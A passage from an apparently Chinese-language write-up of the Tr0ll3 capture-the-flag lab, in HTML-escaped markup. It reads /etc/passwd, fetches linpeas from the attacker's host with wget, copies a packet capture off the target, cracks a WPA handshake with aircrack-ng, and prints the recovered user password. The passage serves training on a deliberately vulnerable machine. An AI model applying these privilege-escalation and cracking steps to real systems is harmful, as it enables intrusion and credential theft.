&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;drwx------ &lt;span class="m"&gt;5&lt;/span&gt; maleus maleus &lt;span class="m"&gt;4096&lt;/span&gt; Aug &lt;span class="m"&gt;2&lt;/span&gt; &lt;span class="m"&gt;2019&lt;/span&gt; maleus
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;drwx------ &lt;span class="m"&gt;7&lt;/span&gt; start start &lt;span class="m"&gt;4096&lt;/span&gt; Aug &lt;span class="m"&gt;2&lt;/span&gt; &lt;span class="m"&gt;2019&lt;/span&gt; start
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;drwx------ &lt;span class="m"&gt;2&lt;/span&gt; step2 step2 &lt;span class="m"&gt;4096&lt;/span&gt; Jun &lt;span class="m"&gt;18&lt;/span&gt; &lt;span class="m"&gt;2015&lt;/span&gt; step2
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;drwx------ &lt;span class="m"&gt;4&lt;/span&gt; wytshadow wytshadow &lt;span class="m"&gt;4096&lt;/span&gt; Aug &lt;span class="m"&gt;2&lt;/span&gt; &lt;span class="m"&gt;2019&lt;/span&gt; wytshadow
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;start@Tr0ll3:/home$ &lt;span class="nb"&gt;cd&lt;/span&gt; step2
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt;-bash: cd: step2: Permission denied
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt;start@Tr0ll3:/home$ su step2
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt;Password:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt;su: Authentication failure
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;查看&lt;code&gt;/etc/passwd&lt;/code&gt;文件，没有发现可以爆破的hash。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;start@Tr0ll3:/home$ cat /etc/passwd
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;root:x:0:0:root:/root:/bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;bin:x:2:2:bin:/bin:/usr/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;sys:x:3:3:sys:/dev:/usr/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;sync:x:4:65534:sync:/bin:/bin/sync
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;games:x:5:60:games:/usr/games:/usr/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt;www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt;backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt;list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt;irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;18&lt;/span&gt;&lt;span class="cl"&gt;gnats:x:41:41:Gnats Bug-Reporting System &lt;span class="o"&gt;(&lt;/span&gt;admin&lt;span class="o"&gt;)&lt;/span&gt;:/var/lib/gnats:/usr/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;19&lt;/span&gt;&lt;span class="cl"&gt;nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;20&lt;/span&gt;&lt;span class="cl"&gt;syslog:x:101:104::/home/syslog:/bin/false
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;21&lt;/span&gt;&lt;span class="cl"&gt;messagebus:x:102:106::/var/run/dbus:/bin/false
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;22&lt;/span&gt;&lt;span class="cl"&gt;landscape:x:103:109::/var/lib/landscape:/bin/false
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;23&lt;/span&gt;&lt;span class="cl"&gt;sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;24&lt;/span&gt;&lt;span class="cl"&gt;maleus:x:1000:1000:maleus,,,:/home/maleus:/bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;25&lt;/span&gt;&lt;span class="cl"&gt;start:x:1001:1001:,,,:/home/start:/bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;26&lt;/span&gt;&lt;span class="cl"&gt;ftp:x:105:112:ftp daemon,,,:/srv/ftp:/bin/false
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;27&lt;/span&gt;&lt;span class="cl"&gt;wytshadow:x:1003:1003:,,,:/home/wytshadow:/bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;28&lt;/span&gt;&lt;span class="cl"&gt;genphlux:x:1004:1004:,,,:/home/genphlux:/bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;29&lt;/span&gt;&lt;span class="cl"&gt;statd:x:106:65534::/var/lib/nfs:/bin/false
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;30&lt;/span&gt;&lt;span class="cl"&gt;fido:x:1005:1006:,,,:/home/fido:/bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;31&lt;/span&gt;&lt;span class="cl"&gt;step2:x:1006:1007:,,,:/home/step2:/bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;32&lt;/span&gt;&lt;span class="cl"&gt;eagle:x:1002:1002:,,,:/home/eagle:/bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;33&lt;/span&gt;&lt;span class="cl"&gt;systemd-timesync:x:107:115:systemd Time Synchronization,,,:/run/systemd:/bin/false
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;34&lt;/span&gt;&lt;span class="cl"&gt;systemd-network:x:108:116:systemd Network Management,,,:/run/systemd/netif:/bin/false
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;35&lt;/span&gt;&lt;span class="cl"&gt;systemd-resolve:x:109:117:systemd Resolver,,,:/run/systemd/resolve:/bin/false
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;36&lt;/span&gt;&lt;span class="cl"&gt;uuidd:x:100:101::/run/uuidd:/bin/false
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;37&lt;/span&gt;&lt;span class="cl"&gt;_apt:x:111:65534::/nonexistent:/bin/false
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;上小豌豆一把梭，发现pkexec可以提权，但是因为没有sudo所以也用不了；可用命令中有gcc，所以下一步尝试一下能不能用内核提权漏洞直接gcc编译一下提权，但是靶机的Ubuntu版本太高了，可能提权不了。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt; wget http://172.168.169.141:8000/linpeas.sh
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt; chmod +x linpeas.sh
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt; ---
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;Linux version 4.15.0-55-generic &lt;span class="o"&gt;(&lt;/span&gt;buildd@lcy01-amd64-029&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;gcc version 7.4.0 &lt;span class="o"&gt;(&lt;/span&gt;Ubuntu 7.4.0-1ubuntu1~18.04.1&lt;span class="o"&gt;))&lt;/span&gt; &lt;span class="c1"&gt;#60-Ubuntu SMP Tue Jul 2 18:22:20 UTC 2019&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;Distributor ID: Ubuntu
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;Description: Ubuntu 18.04.2 LTS
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;Release: 18.04
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;Codename: bionic
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;╔══════════╣ Sudo version
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#sudo-version
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;Sudo version 1.8.21p2
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt;══╣ Polkit Binary
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt;Pkexec binary found at: /usr/bin/pkexec
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt;Pkexec binary has SUID bit set!
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;18&lt;/span&gt;&lt;span class="cl"&gt;-rwsr-xr-x &lt;span class="m"&gt;1&lt;/span&gt; root root &lt;span class="m"&gt;22520&lt;/span&gt; Mar &lt;span class="m"&gt;27&lt;/span&gt; &lt;span class="m"&gt;2019&lt;/span&gt; /usr/bin/pkexec
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;19&lt;/span&gt;&lt;span class="cl"&gt;pkexec version 0.105
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;20&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;21&lt;/span&gt;&lt;span class="cl"&gt;╔══════════╣ Useful software
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;22&lt;/span&gt;&lt;span class="cl"&gt;/usr/bin/base64
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;23&lt;/span&gt;&lt;span class="cl"&gt;/usr/bin/gcc
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;24&lt;/span&gt;&lt;span class="cl"&gt;/usr/bin/gdb
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;25&lt;/span&gt;&lt;span class="cl"&gt;/bin/nc
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;26&lt;/span&gt;&lt;span class="cl"&gt;/bin/netcat
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;27&lt;/span&gt;&lt;span class="cl"&gt;/usr/bin/perl
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;28&lt;/span&gt;&lt;span class="cl"&gt;/bin/ping
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;29&lt;/span&gt;&lt;span class="cl"&gt;/usr/bin/python
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;30&lt;/span&gt;&lt;span class="cl"&gt;/usr/bin/python2
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;31&lt;/span&gt;&lt;span class="cl"&gt;/usr/bin/python2.7
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;32&lt;/span&gt;&lt;span class="cl"&gt;/usr/bin/python3
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;33&lt;/span&gt;&lt;span class="cl"&gt;/usr/bin/python3.6
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;34&lt;/span&gt;&lt;span class="cl"&gt;/usr/bin/sudo
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;35&lt;/span&gt;&lt;span class="cl"&gt;/usr/bin/wget
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="无法直接pkexec提权" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250723153231915.png"&gt;&lt;/p&gt;
&lt;p&gt;翻一下主目录，发现两个不同于一般主目录的文件，lol和hints&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250723154958552" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250723154958552.png"&gt;&lt;/p&gt;
&lt;p&gt;lol目录提示需要权限。然后翻找&lt;code&gt;/.hints&lt;/code&gt;目录发现，下面有很多套娃的文件夹，直到翻到最后一个发现一个txt文件，打开似乎是密码或者加密的密钥。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;ls /.hints/lol/rofl/roflmao/this/isnt/gonna/stop/anytime/soon/still/going/lol/annoyed/almost/there/jk/no/seriously/last/one/rofl/ok/ill/stop/however/this/is/fun/ok/here/rofl/sorry/you/made/it/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;cat /.hints/lol/rofl/roflmao/this/isnt/gonna/stop/anytime/soon/still/going/lol/annoyed/almost/there/jk/no/seriously/last/one/rofl/ok/ill/stop/however/this/is/fun/ok/here/rofl/sorry/you/made/it/gold_star.txt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250723155243584" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250723155243584.png"&gt;&lt;/p&gt;
&lt;p&gt;文件路径的英文翻译过来是一句嘲讽，不得不说Tr0ll系列的作者&lt;a class="link" href="https://x.com/maleus21" target="_blank" rel="noopener"
 &gt;Maleus&lt;/a&gt;真的很欠扁，而且也不只我一个人这么觉得。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250723155723121" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250723155723121.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250723160024829" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250723160024829.png"&gt;&lt;/p&gt;
&lt;p&gt;回到靶机，查看这个文件的权限发现是0777的，所以我们再广泛的搜索一下还有这样类似的文件。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250723161349884" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250723161349884.png"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;find / -type f -perm &lt;span class="m"&gt;0777&lt;/span&gt; 2&amp;gt;/dev/null 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;---
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;start@Tr0ll3:/tmp$ find / -type f -perm &lt;span class="m"&gt;0777&lt;/span&gt; 2&amp;gt;/dev/null
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;/var/log/.dist-manage/wytshadow.cap
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;/.hints/lol/rofl/roflmao/this/isnt/gonna/stop/anytime/soon/still/going/lol/annoyed/almost/there/jk/no/seriously/last/one/rofl/ok/ill/stop/however/this/is/fun/ok/here/rofl/sorry/you/made/it/gold_star.txt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250723161723998" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250723161723998.png"&gt;&lt;/p&gt;
&lt;h2 id="流量包密码破解"&gt;流量包密码破解
&lt;/h2&gt;&lt;p&gt;cap明显是一个流量包文件，下载这两个文件到kali中再分析。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;scp start@172.168.169.142:/.hints/lol/rofl/roflmao/this/isnt/gonna/stop/anytime/soon/still/going/lol/annoyed/almost/there/jk/no/seriously/last/one/rofl/ok/ill/stop/however/this/is/fun/ok/here/rofl/sorry/you/made/it/gold_star.txt gold_star.txt
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;scp start@172.168.169.142:/var/log/.dist-manage/wytshadow.cap wytshadow.cap
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;查看流量包文件，发现开头就是一个叫wytshadow的用户登录的会话，用的是TpLink，这个很明显是WIFI无线网，使用无线网工具尝试爆破。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250723162707003" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250723162707003.png"&gt;&lt;/p&gt;
&lt;p&gt;用默认的自带的字典爆破不成功，这是想到刚刚从那个欠扁的目录下载的&lt;code&gt;gold_star.txt &lt;/code&gt;是不是就是密码字典。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;tshark -r wytshadow.cap
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;sudo apt install aircrack-ng
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;aircrack-ng -w /usr/share/wordlists/fasttrack.txt wytshadow.cap
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;aircrack-ng -w gold_star.txt wytshadow.cap
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250723163243373" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250723163243373.png"&gt;&lt;/p&gt;
&lt;p&gt;大概要爆破半小时。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250723163522278" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250723163522278.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250723170511916" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250723170511916.png"&gt;&lt;/p&gt;
&lt;h2 id="开启nginx服务"&gt;开启Nginx服务
&lt;/h2&gt;&lt;p&gt;破解得到用户密码&lt;code&gt;wytshadow:gaUoCe34t1&lt;/code&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;start@Tr0ll3:~$ su wytshadow
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;Password:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;wytshadow@Tr0ll3:/home/start$ &lt;span class="nb"&gt;cd&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;wytshadow@Tr0ll3:~$ ls
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;oohfun
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;wytshadow@Tr0ll3:~$ ls -al
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;total &lt;span class="m"&gt;40&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;drwx------ &lt;span class="m"&gt;4&lt;/span&gt; wytshadow wytshadow &lt;span class="m"&gt;4096&lt;/span&gt; Aug &lt;span class="m"&gt;2&lt;/span&gt; &lt;span class="m"&gt;2019&lt;/span&gt; .
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;drwxr-xr-x &lt;span class="m"&gt;10&lt;/span&gt; root root &lt;span class="m"&gt;4096&lt;/span&gt; Jun &lt;span class="m"&gt;19&lt;/span&gt; &lt;span class="m"&gt;2015&lt;/span&gt; ..
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;-rw-r--r-- &lt;span class="m"&gt;1&lt;/span&gt; wytshadow wytshadow &lt;span class="m"&gt;220&lt;/span&gt; Jun &lt;span class="m"&gt;17&lt;/span&gt; &lt;span class="m"&gt;2015&lt;/span&gt; .bash_logout
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;-rw-r--r-- &lt;span class="m"&gt;1&lt;/span&gt; wytshadow wytshadow &lt;span class="m"&gt;3637&lt;/span&gt; Jun &lt;span class="m"&gt;17&lt;/span&gt; &lt;span class="m"&gt;2015&lt;/span&gt; .bashrc
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;drwx------ &lt;span class="m"&gt;2&lt;/span&gt; wytshadow wytshadow &lt;span class="m"&gt;4096&lt;/span&gt; Jun &lt;span class="m"&gt;17&lt;/span&gt; &lt;span class="m"&gt;2015&lt;/span&gt; .cache
